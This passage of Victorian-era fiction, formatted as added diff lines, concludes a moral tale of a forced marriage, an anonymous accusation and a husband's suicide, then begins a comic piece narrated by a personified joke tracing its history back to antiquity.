+affection, interweaved with some little sermon-like passages touching
+the implicit obedience which children should at all times bestow upon
+their parents, and enforcing the same by the observation that those who
+had lived in the world nearly sixty years must of course in that time
+have acquired a nice sensibility of the manner in which to deal with
+the affections of the young. It concluded by requiring her immediate
+return to town; it gave their best love to Mr. and Mrs. Langton, and
+their compliments to Mr. Charles.
+
+On Caroline's return the arrangements respecting Mr. Paine were fully
+detailed. Caroline cried, and Mrs. Gibbs said it was very natural she
+should dislike to leave her mother,--that she would consult her wishes
+in every way,--that she lived only in the happiness of her child, but
+that she must _insist_ upon her acceptance of Mr. Paine: and then
+Caroline's friends were entreated to come and see her as often as
+possible, and they were particularly requested by Mrs. Gibbs not to put
+any idle fancies into her head which might prejudice her against the
+match; and one young lady of four-and-thirty, who had once possessed
+some charms, and who had flirted away all her chances, was desired to
+come and "cheer her up" whenever she could find time: the said young
+lady having for the last five years been in the habit of expressing a
+contempt for _very_ young men, and an extreme desire to become the wife
+of some "nice old gentleman who kept his carriage."
+
+After the detail of these circumstances, it will not be thought
+surprising that at a period of seven years from the opening of our
+story Caroline had long been the wife of Mr. Paine; and, having become
+the mother of three children, had made every effort, although perhaps
+she had not succeeded, to forget the moonlight walk in which she had
+been "_so_ happy" with Charles Langton.
+
+Mr. Paine was a merchant. His father, who had been a warehouseman
+in Friday-street, had, as is the custom of warehousemen, amassed a
+considerable fortune; and, although he had not been known to think very
+highly of himself while he was in indifferent circumstances, his own
+estimate of his value as a man, gradually grew with the strength of his
+pocket. His friends considered this a very proper view, and towards
+the end of his life he became much respected. Some time before his
+death he had purchased for his son a partnership in a house of "high
+standing," in which that gentleman had gradually risen from junior
+partner until he became the head of the firm. He inherited along with
+his father's wealth a great similarity of disposition; and his ideas of
+the importance of the "house," and consequently of his own importance
+as the head of the firm, had become the all-absorbing feature of his
+mind. Now this, although it told with admirable effect in Broad-street,
+was scarcely calculated to astonish his West-end connexions, nor was it
+likely to give that freedom of manner which forms the peculiar charm of
+domestic life.
+
+Mr. Paine, on account of his mercantile standing, had been elected
+to a directorship of a prosperous insurance company; and as he was
+accustomed to look in daily at the office of the establishment, where
+he found himself surrounded by bowing clerks, and porters in bright
+waistcoats, who never heard a whisper from his voice without raising
+their hands to their hats, he became very deeply impressed with the
+idea that he really was an extraordinary person. No doubt he was so;
+but it was the misfortune of Mr. Paine that he never contemplated
+that "unbending of the bow" which is rather necessary to make home
+happy, and consequently when he returned from town he was cold and
+formal, in order to produce an impression on his servants, similar to
+that which gratified him in the City; and when he took his seat at
+the dinner-table there was hardly any variation from the manner which
+characterised him as chairman at the weekly meetings of the company,
+each remark being delivered in a style which sounded very much like a
+Resolution of "the Board."
+
+Men choose their acquaintances as they choose their wives, and are very
+apt to select those whose qualities differ most widely from their own.
+Acting upon this principle, Mr. Paine had become intimate with a person
+to whom he condescended in a more than ordinary degree.
+
+This person was Mr. Hartley Fraser, an unmarried man, at about the
+middle, or, as it is very pleasantly termed, the prime of life. He was
+of good family and small income; which latter circumstance he always
+assigned as the cause of his determination to live single, although it
+was attributed by some to a habit of ease and self-indulgence which he
+was now not disposed to correct. He knew and liked everybody in the
+world; and his philanthropy was not thrown away, for he was universally
+sought after, and in the making up of parties was always spoken of as a
+very desirable man. He humoured the foibles and flattered the caprices
+of his friends; the ladies liked him because he was "so useful," and
+the men spoke well of him because he never became a rival. He had
+always avowed his intention of remaining unwived, since, to use his own
+words, he found that he could drag on quietly enough with six or seven
+hundred a year as a bachelor, and he felt no inclination to go back in
+the world by becoming the proprietor of an expensive wife and a needy
+"establishment."
+
+His manner, which, as we have already stated, was quite antithetical to
+Mr. Paine's, was as easy and kind as possible; and his stiff friend was
+never able to unravel the means by which, in the absence of a cast-iron
+stateliness, he invariably seemed to produce a feeling of deference
+in the minds of those with whom he came in contact. Though professing
+poverty, he never borrowed. His appearance was extremely good; while
+in conversation he rarely spoke of himself, and, if ever he did so, it
+was with an air of so little reserve, that his hearer could not help
+entertaining an idea that he was the most candid person in the world.
+
+Mr. Paine felt quite proud of his popular acquaintance; and, as pride
+was the only attribute through which it was possible to gratify or
+wound that gentleman's feelings, of course he entertained as much
+regard for him as he could under any circumstances feel for any one.
+Fraser was therefore a frequent visitor at his house, which, despite of
+the governor's formality, was pleasant enough, for Caroline was always
+kind and cheerful, and "the children" were never visible.
+
+Mr. Fraser soon became aware that his visits were rendered more
+frequent by the attraction of Caroline's society, while she could not
+sometimes help acknowledging to herself that her husband's selfish
+coldness was not placed in the most favourable light by a contrast
+with his agreeable friend. This was a dangerous discovery; but just at
+the period when it might have led to serious inroads on her happiness,
+an accident occurred which gave a new turn to her thoughts, and which
+tended to a catastrophe as unforeseen as it was fatal.
+
+At an early hour in the afternoon a servant who had charge of the
+children would frequently request permission to take the eldest, a
+fine boy six years of age, for a short walk. Her consideration for the
+health and mental improvement of her young charge invariably induced
+her to wend her way to Oxford-street, where, by a strange coincidence,
+she invariably met a young gentleman in a flour-sprinkled jacket
+who emerged from a neighbouring baker's, and with whom, though they
+only met on these occasions, it afterwards appeared she was "keeping
+company." During the period of their conversation the child was told
+to "play about;" and, with that inherent love of liberty which dwells
+in the human mind, the boy made a point of availing himself of this
+permission by forthwith getting into all those spots which at other
+times he had been taught to shun. Occasionally a foot would become
+fixed between the iron gratings of an area in such a manner that
+he was unable to extract it; and then he would immediately roar as
+though he had been placed there by some tyrannical nursery-maid, and
+a crowd would collect to sympathise with his pangs, and at length
+to witness his extrication. At other times the gutter would seem
+to offer irresistible attraction; and in all cases the attentive
+guardian to whom he was entrusted consented not to tell her "missus"
+of his delinquencies if he would promise not to say a word about
+the young man from the baker's. This system was carried on till it
+had nearly terminated in a serious event. The child, having on one
+occasion stepped off the footway, was thrown down in attempting to
+escape from a carriage that was furiously approaching: in another
+instant the horses would have trampled upon him, had not a young man
+who observed his frightful situation rushed, heedless of danger, to
+the horses' heads, and, with the aid of the coachman, arrested their
+progress. The stranger learned from the boy his name and residence,
+conveyed him home, and, after giving an account of the accident, left
+a card with the footman to whom he delivered the child. About an hour
+afterwards the guardian angel returned in great alarm, when she was
+immediately favoured with unlimited leave of absence, and thereby
+enabled, literally as well as metaphorically, to "keep company" with
+her interesting friend.
+
+On the following morning, a paragraph, which ran as follows, decorated
+the columns of the Morning Post.
+
+"Yesterday, as Lady Crushmore's carriage was going down Oxford-street,
+it nearly passed over a child who had fallen before the horses: the boy
+was, however, rescued by a person who happened to witness his perilous
+situation. We merely notice the circumstance in order that we may have
+the satisfaction of recording a noble instance of humanity on the part
+of Lady Crushmore, who would not suffer the coachman to drive on until
+he had inquired whether the child was hurt."
+
+It would be impossible to describe Caroline's feelings when she
+received the account of the accident: she took the card which had been
+left by the stranger, but in the excitement of the moment she did not
+heed the name, and, throwing it on one side, she pressed the terrified
+boy to her breast with hysteric minglings of tears and laughter.
+That afternoon Mr. Paine returned in company with Fraser; and, as he
+entered, he received an account of what had happened. He was by no
+means moved, but went into the matter, and asked questions in a most
+cool and dignified manner.
+
+"Really," he said, "I think this is a case we ought not to look over;
+and therefore I must move, that is, I would suggest, that the boy
+should receive a very severe whipping."
+
+The motion, not being seconded, fell to the ground, and Mr. Paine
+continued,
+
+"Have you learned the name of the person by whom he was accompanied
+home?"
+
+Caroline recollected the card, and, without looking at it, handed it to
+her husband.
+
+"Langton--Charles Langton, Raymond Buildings," ruminated Mr. Paine; "I
+don't know the name."
+
+"Good heavens!" exclaimed Caroline; "Charles Langton?"
+
+"Yes, my dear; is there anything so extraordinary in the name--is he
+any connexion of your family?"
+
+"Yes--no--that is, my father had a very old friend of the name of
+Langton, who lived near Sevenoaks."
+
+"Ah," said the amiable Paine, who prided himself on the sarcastic,
+"Raymond Buildings are within a stone's throw of Sevenoaks."
+
+Mr. Paine had not observed any great peculiarity in Caroline's manner;
+but he was excessively fond of giving utterance to an occasional sneer,
+which was the highest effort of his conversational power. But with
+Fraser, who had been a silent spectator of the scene, the emotion which
+Caroline betrayed when the card was read did not pass unnoticed or
+unremembered.
+
+Mr. Paine having on the subsequent day made strict inquiries as to
+the respectability of the man who had saved his child, condescended
+to forward a note of thanks and an invitation to dine. This was
+immediately accepted, for Langton was not ignorant that the mother
+of the boy was his early friend; and, although circumstances were so
+sadly altered, he could not resist an opportunity of renewing the
+acquaintance.
+
+The dinner to which he thus had the honour of being invited, went
+off rather flatly. There was a large party, principally composed of
+that class of persons who get their heads muddled in wool and tallow
+speculations during the day, and who attempt to become particularly
+brilliant and exclusive in the evening, when unfortunately it generally
+happens that, despite their best exertions,
+
+    "Let them dress, let them talk, let them act as they will,
+    The scent of the city will hang round them still."
+
+Fraser, to whom Mr. Paine always looked as the enlivener of his
+otherwise cold dinners, was on this occasion unusually quiet, Langton
+and Caroline were mutually embarrassed, and Mr. Paine's platitudes
+grew more and more tiresome, till at length, when the dessert made its
+appearance, he took an opportunity of effecting an elaborate speech,
+the object of which was to impress upon his friends the sensation which
+would have been created if the eldest child and only son of Mr. Paine,
+of the firm of Paine, Grubb, and Jones, had been the victim of any
+serious accident, and the gratitude which in consequence they ought to
+entertain to the person by whom such an event had been arrested.
+
+"A shock so calamitous," he said, "has been averted by the intrepid
+conduct of Mr. Langton; and I must therefore beg that he will
+accept the cordial thanks of this meeting,--that is, of myself and
+friends,--for the courage and presence of mind which he so seasonably
+displayed."
+
+This speech exhibited such a style of pompous foolery, that during
+its delivery Fraser was tempted to glance at Caroline with peculiar
+significance, which seemed to intimate a considerable degree of
+contempt for her husband, and an idea that a similar feeling could not
+be altogether a stranger to her bosom.
+
+Langton observed all this; and although it was with little surprise,
+for he knew that love is more easily alienated by pride than any other
+sentiment, yet he could not help feeling the most sincere regret that
+Caroline had entered upon that dangerous path, the first step of which
+is the condescending to show to any man a feeling of this nature.
+
+"I have not learned to love her less," he said, when afterwards
+meditating on this circumstance, "and I love her too well to see her
+comfort or fame lightly lost while it may be in my power to save her.
+It was always her nature to be easily led by the influence of others;
+and although her pliant disposition may have linked her destiny with
+one whom it is evident she can never love, yet she may still be saved
+from a more fearful sacrifice. I will see her, and in the recollection
+of our early friendship, as well as in the recent claim which I
+have acquired upon her feelings, I will venture to speak boldly and
+sincerely. In warning her of the precipice on which she stands, she
+must not, however, be violently aroused to a sense of danger which
+perhaps she has not yet acknowledged to herself. I must first gently
+win her back to that spirit of confidence which we formerly knew, and,
+if I succeed in my ultimate aim, how slight in comparison will seem the
+peril from which I have saved the child, to that from which I shall
+have rescued the mother!"
+
+Alas! that the morality of the young, which is so strong in thought,
+should be so weak in practice as it ever is. Here was another stone
+added to that pavement which is said to be composed of good intentions.
+
+From this time he became a frequent visitor in the Regent's Park, and
+the result of this course will be best given in the description of an
+interview between himself and Caroline which took place about three
+months afterwards.
+
+"Caroline," said he, as during a morning call, which had been prolonged
+to a most unfashionable extent, he sate alone by her side, "I find you
+the same kind being that you always were; it is from that tenderness of
+feeling, which under happier circumstances would have given additional
+value to your character, that I now dread an inroad on your peace. You
+confess that you are wearied with the cold and monotonous routine of
+your daily life, and that it is your fate to be linked with one who is
+incapable of understanding or returning any deep emotion of the heart;
+can you then wonder that I should tremble for your peace, when I see
+you flattered by the attentions of a man from whom I am afraid you
+have not been sufficiently discreet to conceal the disquiet which you
+suffer?"
+
+"Indeed, indeed you have mistaken me," exclaimed Caroline. "I have
+neither been flattered by his attention, nor have I in any way confided
+in him: to you only have I spoken thus. I was wrong, very wrong, in
+doing so; but you entreated me to speak without reserve, and it is
+hardly kind of you now to tax me with the fault." As she said this, the
+tears started to her eyes, and as Langton gazed upon her he knew that
+the very confidence which had appeared so dangerous when he imagined
+it to be given to another, was now unreservedly bestowed upon himself:
+did he remember his indignant anticipations of broken happiness and
+degraded character on the part of Caroline, or did he apply to himself
+those rules which he had deemed so necessary to be considered by
+another? Alas! no. He took her hand, and said in a voice which faltered
+with emotion,
+
+"Caroline, dear Caroline, I cannot bear to see you give way thus. Come,
+come, we must not have any tears: you may be very happy yet."
+
+"No," she said, making a vain attempt to repress her sobs, "I do not
+hope to be happy,--I have not deserved to be so; for I knew, when
+they wished me joy on my wedding-day, that my happiness was gone for
+ever. But I must not talk thus to you, Charles; I have no right to
+trouble you with sorrows of my own seeking. Besides," she continued,
+smiling bitterly through her tears, "you are about to be married to
+one who cannot fail to love you, and I must claim no share in your
+thoughts. Believe me, I will conquer every emotion that you desire to
+be repressed. I will endeavour to be all that you would wish to see
+me,--indeed I will: only tell me that you are not offended,--that you
+do not think less kindly of me than you have always done,--and that
+you will sometimes think of her who, while she lives, can never cease
+to think and pray for you." She buried her face in her hands and wept
+bitterly. "Don't, don't speak to me now," she said, as her tears flowed
+more quickly; and Langton, taking her hand, felt them falling on his
+own. At that moment he considered himself pre-eminently wretched; he
+pressed her head upon his shoulder, bidding her be more calm, and, as
+he imprinted one kiss upon her forehead,--a servant entered the room.
+
+"Did you ring, sir?"
+
+"No!" said Langton furiously, and the intruder disappeared. Servants
+always think you ring at the very moment when you wish you were in a
+wilderness!
+
+The party who received Mr. Langton's impetuous negative was a fat
+housemaid of extreme sensibility; and as the sensibility of housemaids
+is usually concentrated upon themselves, of course, in the description
+of the indignity she had received, any very delicate consideration for
+the character of her mistress could not be expected to find a place.
+A committee was immediately formed in the pantry, where she related
+the "undelicate" conduct of that lady to her sympathising colleagues,
+and several strong resolutions were immediately carried expressive
+of their unqualified admiration of virtue in general, and their
+particular disapprobation of the deviation from its strict rules which
+had just been detailed; but as the said committee could not perceive
+any particular benefit to themselves that was likely to result from a
+disclosure to Mr. Paine, they determined to let the matter drop, and
+merely to suffer it to exist as an occasional topic to give intensity
+to those sublime denunciations of the wickedness of their betters in
+which they were accustomed to indulge round the kitchen fire, when
+their thoughts were glowing beneath the stimulus of an occasional
+bottle of wine which had been abstracted from the cellars of their
+"injured master."
+
+Of course, however, it was not to be expected that the knowledge of
+the circumstance should be concealed from their immediate circle of
+acquaintance; and as the green-grocer wished he might drop if he ever
+breathed a syllable about it, and the milkwoman thanked Heaven that she
+never was a mischief-maker, of course the insulted housemaid "didn't
+mind telling them," upon their promise of profound secrecy; which was
+especially necessary, as, with the exception of the servants on each
+side of Mr. Paine's, and the nurserymaid opposite, not a soul knew a
+word about the matter.
+
+Now it so happened that the watchful being who had been discharged
+on account of the affair in Oxford-street, was one of those amiable
+characters by whom forgiveness of injuries is accounted a duty. She had
+carried out this principle so far, that, although she had been desired
+never to enter the house again, she would occasionally call after dark
+to see her old fellow-servants, with whom she would sometimes take a
+glass of ale, in order to show how completely she had subdued those
+feelings of animosity which she might be expected to entertain towards
+the person at whose cost it was provided. She always seemed to take
+the same interest in the family as she had formerly done, and, with a
+spirit of Christian charity which did honour to her nature, she would
+sometimes declare "that although they had injured _her_, yet she hoped
+it would never come home to them."
+
+Any concealment from a person of this disposition was of course
+unnecessary; and, when she was made acquainted with the circumstance,
+her horror was unlimited. "Poor Mr. Paine, who was so much of a
+gentleman!--and Mrs. Paine, too, who always seemed to love the dear
+children so!--who would take care of them now?--and then _that_ Mr.
+Langton, she always said from the first she never liked _him_! But no,"
+she continued, her goodness of disposition again overmastering every
+other feeling, "I won't believe it,--I can't do so; though I know,
+Mary, that you wouldn't tell a falsehood for the world, and, if you
+couldn't speak well of anybody, would rather say nothin' at all."
+
+The reader will be surprised to learn that, although Mr. Paine's
+servants had acted with such praiseworthy reserve, a letter was
+received by that gentleman at the insurance office of which he was
+chairman, (the seal bearing the royal arms, which had been produced by
+the application of a sixpence; and the post-mark giving indications of
+the existence of a place called "Goswell-street Road,") the purport of
+which was as follows:
+
+"SIR,--Nothin but my ankziety for your peas of mind could indews me to
+writ this letter, which i am afeard will set your fealings in a flame,
+& cause you grate distres. i am sorry to say your confidens is abused,
+and that you have little idere of the fallshood which will be found in
+what i am goin to relate.
+
+"Your wife is untrew--the young man who pickt up Master Eddard when he
+_would_ run into the rode, is one of her old bows. You may depend upon
+my assurance, for altho' there is an animus signatur at the bottem of
+this, the writer is a steddy young woman and knows what wickedness is.
+
+"If you don't take warnin by what I have writ you will peraps be
+unhappy all the rest of your days, and so I hope you will.
+
+        "From your sincere well-wisher,
+
+                                "J.J."
+
+It is said that, for the deprivation of one sense, compensation is not
+unfrequently given by an increased action which is acquired to the
+remainder; and those who have seen men cut off from the enjoyment of
+some long-cherished feeling at the moment when its gratification seemed
+most essential to their happiness, must have admired the benevolence
+with which Providence has thus bestowed upon the mind a capability,
+when it is deprived of one pursuit, of falling back with redoubled
+ardour upon another. But Mr. Paine was an exception to this rule; he
+was rather the incarnation of a single feeling than a sharer in the
+complicated emotions of mankind. Pride was the only thing that he was
+conscious of,--the one point from which all his ideas radiated; and,
+when this was destroyed, his existence might virtually be considered at
+an end.
+
+From the moment that he had received the wretched scrawl, the
+alteration which took place in this unhappy man was of the most
+extraordinary kind. He had never been suspicious, for, loveless though
+he was, the possibility that _his_ wife could sink to frailty had never
+entered into his mind; but, when the idea was once aroused, he seemed
+without hesitation to receive it as a truth; and that that truth should
+be forced upon him by the agency of a person who was evidently of the
+lowest class was an aggravation of the keenest kind. His spirit was
+from that day broken. Homage seemed a mockery, for he felt that the
+most despised among those who showed him reverence possessed a more
+enviable lot than it could ever be his fate to know again.
+
+For a few days the secret remained fixed in his own heart,--that heart
+which had sought to citadel itself in its indomitable pride, and which
+was now crushed and powerless. At length to Fraser, by whom his altered
+manner had been remarked, he ventured to ask, with an air of forced
+coldness, "Whether it had ever occurred to him that Mr. Langton had
+been in the habit of paying more than proper attentions to the mother
+of the boy whom he had rescued?--he did not mean to hint that those
+attentions had been encouraged or received--that of course was out of
+the question; but still----"
+
+He hesitated; and Fraser, deceived by the quietude of his manner,
+thought it a very good opportunity to say a few words upon a subject
+that had given him some little annoyance. He readily avowed "that he
+entertained no very high opinion of the gentleman in question, but" (of
+course) "his opinion of Mrs. Paine's correct feeling was so strong that
+he thought the matter need cause very little discomfort. Nevertheless,
+he imagined it would be as well to intimate to Mr. Langton that his
+constant attendance in the Regent's Park was no longer expected or
+desired."
+
+This was the confirmation that was sought--the vulgar letter was
+accurate enough--all the world were pointing at him. Fraser had noticed
+it, but in delicacy to his feelings, and in gallantry to his wife, had
+forborne to speak more explicitly: he had no remedy; wronged as he was,
+he had no remedy. He might go into a court of justice, and there, in
+consideration of his shame being recorded upon oath, he might receive
+a sum equal to about a tithe of his yearly income. He might kill the
+man; and then also the world, with whom suspicion only might exist at
+present, would be certified of the fact. No; his course was run,--there
+was but one way left for him to pursue.
+
+It was dusk on a summer's evening, a few days after this, that Caroline
+and Langton met for the last time.
+
+"Charles," she said, "it is not a resolution lightly formed; it has
+cost me a struggle which I knew I should experience, but which I never
+expected to have conquered, you must not see me more! Nay, do not utter
+one word of remonstrance; you may by so doing make the separation more
+bitter, but you cannot shake my resolution. I dare not trust myself
+to say all that now rushes to my mind; yet, perhaps, parting as we do
+for ever, I may be forgiven for saying that I always loved you: this I
+could not help; but, with such a feeling, I ought to have shown more
+strength of mind than to have sacrificed your happiness and my own even
+to a parent's wish. I failed to do so, and it is right that the penalty
+should be borne. Farewell! You can appreciate all that I now suffer,
+and you will tell me that you love me better for the determination
+which I have made. Believe me, a time will come when you will praise
+God that I had sufficient strength to endure the agony of this trial.
+We have been very foolish,--we ought never to have met; but thank
+Heaven that, having met, we have escaped from guilt. There, now leave
+me--pray leave me, and----"
+
+At this moment they were interrupted by a hasty knock at the
+street-door; they stood still for a moment: it was Mr. Paine. He
+seemed, upon entering, to make some inquiries of the servant: he
+ascended the stairs, paused for an instant at the drawing-room door,
+as if about to open it, and then with a hurried step ascended to his
+dressing-room above. Caroline and Langton moved not; they seemed to
+dread some coming event, and yet they had no definite ground for fear.
+Several minutes elapsed: at length Langton smiled and was about to
+speak, when they heard a heavy, lumbering fall upon the floor above,
+followed by a long, low groan, the sound of which was never afterwards
+forgotten.
+
+We willingly draw a veil over the circumstances of this scene, and have
+only now to detail the events to which it ultimately led.
+
+The parting between Caroline and Langton on that dreadful night was
+_final_: he made an attempt to see her once more during the period of
+her suffering, but this she positively refused. The suicide of her
+unhappy husband caused some little talk at the time; but as it was
+proved, to the satisfaction of a coroner's jury, that his death took
+place on a Wednesday, and that upon that day he had written a short
+note which he had dated "Thursday," they without hesitation returned a
+verdict of "Temporary Insanity," and the newspapers saw no reason for
+departing from their usual plan, by attributing the rash act to any
+other cause than the unsuccessful result of some speculations on the
+Stock Exchange.
+
+The world, (that is to say, those immediate connexions who became
+acquainted with the circumstances of the case,) upon a retrospect of
+the affair, condemned Mr. Paine for his pride, Mr. Fraser for his
+politeness, and Caroline and Langton for their indiscretion;--the only
+persons mentioned in our story with whom the said "world" found no
+fault were--Mr. and Mrs. Gibbs!
+
+Mr. Paine had made no alteration in his will, and a large portion of
+his property was left to his widow during her life. Caroline passed
+some years in deep seclusion, devoting herself to the education of
+her children, and seeking consolation in the exercises of religion,
+wherein alone she could hope that it might be found. She died at
+the commencement of the present year; and an extract from a letter
+addressed to Langton, which was discovered among her papers, may
+serve to conclude her history, and to impart a moral which may not be
+altogether vain.
+
+"You will perhaps be surprised at this request," (she had entreated
+that he would undertake the guardianship of her children,) "but, after
+all that I have suffered, I could not feel one moment's peace if I
+thought it possible that in the course of events a similar fate might
+attend upon them. Edward will require little care,--to the girls my
+anxiety is directed: the destiny of women is too often fixed when they
+possess little power of judging wisely for themselves; and, even if
+they should possess this power, strength of character is required to
+enable them to resist all other influences, and to abide firmly by the
+judgment they have formed. Remembering that my fate was thus rendered
+unhappy, you will not hesitate to guard my children against the misery
+I have endured. Watch over them, I entreat you; and let that love
+which, when it was bestowed upon me, could lead only to sorrow, descend
+upon them with the consciousness of purity. I know that you will do
+this; I know, above all, that in affairs of the heart you will consult
+their feelings of affection rather than their dreams of pride; and
+while, on the one hand, you prohibit a union that might degrade them,
+you will, on the other, be equally cautious never to _enforce_ the
+acceptance of 'an excellent offer.'"
+
+
+
+
+THE AUTOBIOGRAPHY OF A GOOD JOKE.
+
+
+The diamond is precious from its scarcity, and, for the same reason,
+a new thought is beyond all price. Unluckily for us moderns, the ages
+who came before us have seized upon all the best thoughts, and it is
+but rarely indeed that we can stumble upon a new one. In the pride of
+superior knowledge, we sometimes imagine that we have succeeded in
+coining a new thought in the mint of our own brain; but, ten to one,
+if we make any researches into the matter, we shall find our bran new
+thought in some musty volume whose author lived a thousand years ago.
+This is exceedingly provoking, and has often led me to imagine that
+the ancients (so miscalled) have been guilty of the most atrocious
+plagiarisms from us, who are the real ancients of the world. It seems
+as if by some unhallowed species of second-sight they have been enabled
+to see down the dim vistas of futurity, and have thus forestalled
+us in the possession of the choicest thoughts and the most original
+ideas. This is especially the case with regard to jokes; all the best
+of them are as old as the hills. On rare occasions some commanding
+genius astonishes the world by a new joke; but this is an event,--the
+event of the year in which the grand thing is uttered. Hardly has it
+seen the light ere it passes with the utmost celerity from mouth to
+mouth; it makes the tour of all the tables in the kingdom, and is
+reproduced in newspapers and magazines, until no corner of the land has
+been unhonoured and ungladdened by its presence. Reader! it was once
+my fortune to be the creator, the Ποιητὴς, of a witticism of
+surpassing excellence,--of a joke which, as soon as it proceeded from
+my brain, made a dozen professed wits ready to burst with envy at my
+superior genius! Many a time since, has that bright scintillation of
+intellectual light brought smiles into the faces, and gladness into
+the hearts of millions! and many a joyous cachinnation has it caused,
+to the sensible diminution of apothecaries' bills and undertakers'
+fees! If I had been a diner-out, I might have provided myself with
+dinners for two years upon the strength of it; but I was contented
+with the honour, and left the profit to the smaller wits, who, by a
+process well known to themselves, contrive to extract venison out
+of jests, and champagne out of puns. For years I have reposed on my
+laurels as the inventor of a new thought; and, but for the hope that
+there were still more worlds to conquer, I would have folded my arms
+in dignified resignation, and acknowledged to myself that I had not
+lived in vain. About a month ago, however, my complacent pride in my
+production received a severe check; and circumstances ensued which
+have led me to doubt whether in these degenerate days it is possible
+for a man to imagine any new thought. I was in the society of half
+a dozen men of real wit, but of no pretension,--men of too joyous a
+nature to be envious of my achievement,--when one of them actually
+uttered my joke,--the joke upon which I pride myself,--coolly looking
+me in the face, and asserting that he was the author of it. I felt at
+first indignant at so dishonest an act; but, convinced of my own
+right, I smiled contemptuously, and said nothing. My friend noticed
+the smile, and saw that it was not one of mirth but of scorn, and has
+ever since treated me with the most marked coolness. When I returned
+home I retired to my chamber, and throwing myself into my comfortable
+arm-chair, I indulged in a melancholy reverie upon the vanity of human
+exertion, and the disposition so common among mankind to rob the great
+of their dearly-acquired glory. "Even Homer," said I to myself, "did
+not escape the universal fate. Some deny his very existence, and assert
+that his sublime epic was the combined work of several ballad-mongers;
+others, again, generously acknowledge his existence, but still assert
+that he was no poet, but the mere singer of the verses that abler men
+composed! And, if Homer has not escaped detraction and injustice,
+shall I?" These, and similar thoughts, gradually growing more and
+more confused and indistinct, occupied my attention for a full hour.
+A bottle of champagne, corked up and untasted, stood upon the table
+before me. It was just the dim faint dawn of early morning; and in
+the grey obscurity I could plainly distinguish the black bottle as
+it stood between me and the window. Notwithstanding the hour, I felt
+half-inclined to take a draught of the generous juice it contained,
+and was stretching forth my hand for that purpose, when, to my great
+surprise, the bottle gave a sudden turn, and commenced dancing round
+the table. Gradually two arms sprouted forth from its sides; and,
+giving them a joyous twirl, the bottle skipped about more nimbly than
+before, and to my eyes seemed endeavouring to dance a Highland fling.
+I thought this very extraordinary behaviour on the part of the bottle.
+I rubbed my eyes, but I was wide awake. I pinched myself, and came to
+the same conclusion. As I continued to gaze, the mysterious bottle
+grew larger and larger, and suddenly sprung up as tall as myself.
+Immediately afterwards, the cork, which had become supernaturally large
+and round, changed colour, and turned to a ruddy hue; and I could
+by degrees distinguish a pair of sparkling eyes, and a whole set of
+rubicund features smiling upon me with the most benign expression.
+The forehead of this apparition was high and bald, and marked with
+wrinkles,--not of decrepitude, but of a hale old age,--while a few thin
+grey hairs hung straggling over his temples. As soon as my astonishment
+was able to vent itself in words, I addressed the apparition in a
+query, which has since become extremely popular, and called out to it,
+"Who are you?"
+
+[Illustration: The Autobiography of a Joke]
+
+Ere it had time to reply to this classical question, my eyes fell
+upon a roll of parchment which it held in its hand, and on which were
+inscribed the magic words of my joke.
+
+"Do you not know me?" said this Eidolon of my wit, pointing to the
+scroll. "I am the joke upon which you pride yourself, and, although I
+say it myself, one of the best jokes that ever was uttered. Don't you
+know me?"
+
+"I can't say that I should have recognised you," said I, as I felt my
+heart yearning with paternal kindness towards him; "but--Come to my
+arms, my son, my progeny!"
+
+"Aha! ha! ha!" said the Joke, looking at me with very unfilial
+impertinence, and holding his sides with laughter.
+
+"The contempt with which you treat me is exceedingly unbecoming," said
+I with much warmth, and with the air of an offended parent; "and, what
+is more, sir, it is unfeeling and unnatural--'tis past a joke, sir!"
+
+"'Tis no joke!" said the Joke, still laughing with all his might,
+and peering at me from the corners of his eyes, the only parts of
+those orbits which mirth permitted to remain open; "really, my good
+friend, the honour to which you lay claim is nowise yours. Lord bless
+your foolish vanity! I was a patriarch before the days of your great
+grandfather!"
+
+"Pooh, pooh!" said I, "it cannot be! You know that you are my
+production;--you cannot be serious in denying it."
+
+"I am not often serious," said the Joke, putting on a look of comic
+gravity; "but there is no reason for so much solemnity in telling an
+unimportant truth. However, we will not argue the point; I will proceed
+at once to tell you my history, to convince you how little claim you
+have to the honours of paternity in my case."
+
+"I shall be very happy," said I, with more reverence than I had yet
+assumed towards my mysterious visitor.
+
+"For fear you should find me dry," said the Joke, "get a bottle of
+wine."
+
+I did as I was desired, drew the cork, filled two glasses, one of which
+I handed to the Joke, who, nodding good-humouredly at me, commenced the
+following narrative.
+
+
+THE JOKE'S STORY.
+
+"I have not the slightest recollection of my progenitors; like the
+great Pharaohs who built the pyramids, their names have sunk into
+oblivion in the lapse of ages. They must, however, have lived more
+than thirty centuries ago, as my reminiscences extend nearly as far
+back as that period. I could, if I would, draw many curious pictures
+of the state of society in those early ages, having mixed all my life
+with persons of every rank and condition, and traversed many celebrated
+regions. I say it with pride that I have always delighted to follow
+in the track of civilization, and claim as a great honour to myself
+and the other members of my fraternity, that we have in some degree
+contributed to hasten the mighty march of human intelligence. It is
+only savage nations who are too solemn and too stupid to appreciate
+a joke, and upon these people I never condescended to throw myself
+away. One of my earliest introductions to society took place about two
+thousand five hundred years ago, among a company of merchants who were
+traversing the great deserts of Arabia. Methinks I see their faces
+now, and the very spot where they first made acquaintance with me. It
+was towards sunset, under a palm-tree, beside a fountain, where the
+caravan had stopped to drink the refreshing waters. It has been often
+said that grave people love a joke, and it was a grave old trader
+who showed me off on this occasion, to the infinite delight of his
+companions, who laughed at my humour till the tears ran down their
+cheeks. In this manner I traversed the whole of civilized Asia, and
+visited at different periods the luxurious tables of Sardanapalus and
+Ahasuerus, and brought smiles into the faces of the queenly beauties
+of their courts. From Asia I passed into Greece, and I remember that
+I used often to sit with the soldiers round their watch-fires at the
+siege of Troy. At a much later period I was introduced to Homer, and
+shall always remember with pleasure that I was the means of procuring
+him a supper when, but for me, he would have gone without one. The
+poor peasants to whom the still poorer bard applied for a supper and
+a lodging, had no relish for poetry; but they understood a joke,
+and the bard brought me forth for their entertainment; and, while
+my self-love was flattered by their hearty laughter, his wants were
+supplied by their generous hospitality. But I was not only acquainted
+with Homer, for Aristophanes very happily introduced me into one of his
+lost comedies. Anacreon and I were boon companions; and, while upon
+this part of my career, you will permit me to give vent to a little
+honest pride, by informing you in few words that I once brought a
+smile into the grave face of the divine Plato; that I was introduced
+into an argument by no less an orator than Demosthenes; that I was
+familiarly known to Esop; that I supped with Socrates; and was equally
+well received in the court of Philip of Macedon and the camp of his
+victorious son. Still a humble follower in the train of civilization, I
+passed over to Rome. I was not very well received by the stiff, stern
+men of the republic; but in the age of Augustus I was universally
+admired. The first time that I excited any attention was at the table
+of Mecænas, when Horace was present. I may mention by the way that it
+was Horace himself who, in a _tête-à-tête_, first made known my merits
